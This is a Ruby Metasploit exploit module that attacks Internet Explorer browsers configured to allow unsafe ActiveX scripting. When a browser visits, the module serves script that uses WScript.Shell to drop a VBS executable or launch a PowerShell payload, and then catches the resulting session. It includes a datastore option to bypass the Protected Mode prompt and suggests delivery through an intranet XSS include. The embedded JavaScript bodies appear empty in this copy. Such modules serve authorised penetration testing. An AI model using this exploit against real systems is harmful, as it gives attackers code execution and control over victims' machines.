## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/util/exe' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE include Msf::Exploit::Powershell VULN_CHECK_JS = %Q| try { new ActiveXObject("WScript.Shell"); new ActiveXObject("Scripting.FileSystemObject"); is_vuln = true; } catch(e) {} | def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration', 'Description' => %q{ This exploit takes advantage of the "Initialize and script ActiveX controls not marked safe for scripting" setting within Internet Explorer. When this option is set, IE allows access to the WScript.Shell ActiveX control, which allows javascript to interact with the file system and run commands. This security flaw is not uncommon in corporate environments for the 'Intranet' or 'Trusted Site' zones. When set via domain policy, the most common registry entry to modify is HKLM\ Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201, which if set to '0' forces ActiveX controls not marked safe for scripting to be enabled for the Intranet zone. This module creates a javascript/html hybrid that will render correctly either via a direct GET http://msf-server/ or as a javascript include, such as in: http://intranet-server/xss.asp?id="> . IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from an x64 iexplore.exe. By default, this module will not attempt to fire against IEs that come with Protected Mode enabled by default, because it can trigger a security prompt. However, if you are feeling brave, you can choose to ignore this restriction by setting the ALLOWPROMPT datastore option to true. }, 'License' => MSF_LICENSE, 'Author' => [ 'natron', 'Ben Campbell' # PSH and remove ADODB.Stream ], 'References' => [ [ 'URL', 'http://support.microsoft.com/kb/182569' ], [ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ], [ 'URL', 'http://support.microsoft.com/kb/870669'] ], 'DisclosureDate' => 'Sep 20 2010', 'Platform' => 'win', 'BrowserRequirements' => { source: 'script', os_name: OperatingSystems::Match::WINDOWS, ua_name: HttpClients::IE, vuln_test: VULN_CHECK_JS, vuln_test_error: 'WScript.Shell or Scripting.FileSystemObject not allowed by browser.' }, 'Arch' => ARCH_X86, 'Targets' => [ [ 'Windows x86/x64', {} ] ], 'DefaultOptions' => { 'HTTP::compression' => 'gzip' }, 'DefaultTarget' => 0 )) register_options( [ OptBool.new('ALLOWPROMPT', [true, 'Allow exploit to ignore the protected mode prompt', false]), OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]) ], self.class ) end # Unfortunately we don't currently have an explicit way to check whether Protected Mode is # actually enabled or not, so we can only rely on whatever is default on the OS. This should # allow BAP2 to always fire without worrying about the prmopt popping up, but the user can # still ignore this by setting ALLOWPROMPT to true in standalone mode. def has_protected_mode_prompt?(browser) if datastore['ALLOWPROMPT'] return false elsif OperatingSystems::Match::WINDOWS_XP === browser[:os_name] return false end true end def on_request_exploit(cli, request, browser) if has_protected_mode_prompt?(browser) print_warning("This target possibly has Protected Mode, exploit aborted.") send_not_found(cli) return end # Build out the HTML response page var_shellobj = rand_text_alpha(rand(5)+5) p = regenerate_payload(cli) if datastore['TECHNIQUE'] == 'VBS' js_content = vbs_technique(var_shellobj, p) else js_content = psh_technique(var_shellobj, p) end print_status("Request received for #{request.uri}") print_status("Sending exploit html/javascript"); # Transmit the response to the client send_response(cli, js_content, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end def vbs_technique(var_shellobj, p) var_fsobj = rand_text_alpha(rand(5)+5) var_fsobj_file = rand_text_alpha(rand(5)+5) var_vbsname = rand_text_alpha(rand(5)+5) var_writedir = rand_text_alpha(rand(5)+5) exe = generate_payload_exe({ :code => p.encoded }) vbs = Msf::Util::EXE.to_exe_vbs(exe) vbs_content = Rex::Text.to_hex(vbs) # Build the javascript that will be served js_content = %Q| | js_content end def psh_technique(var_shellobj, p) cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first)) js_content = %Q| | js_content end end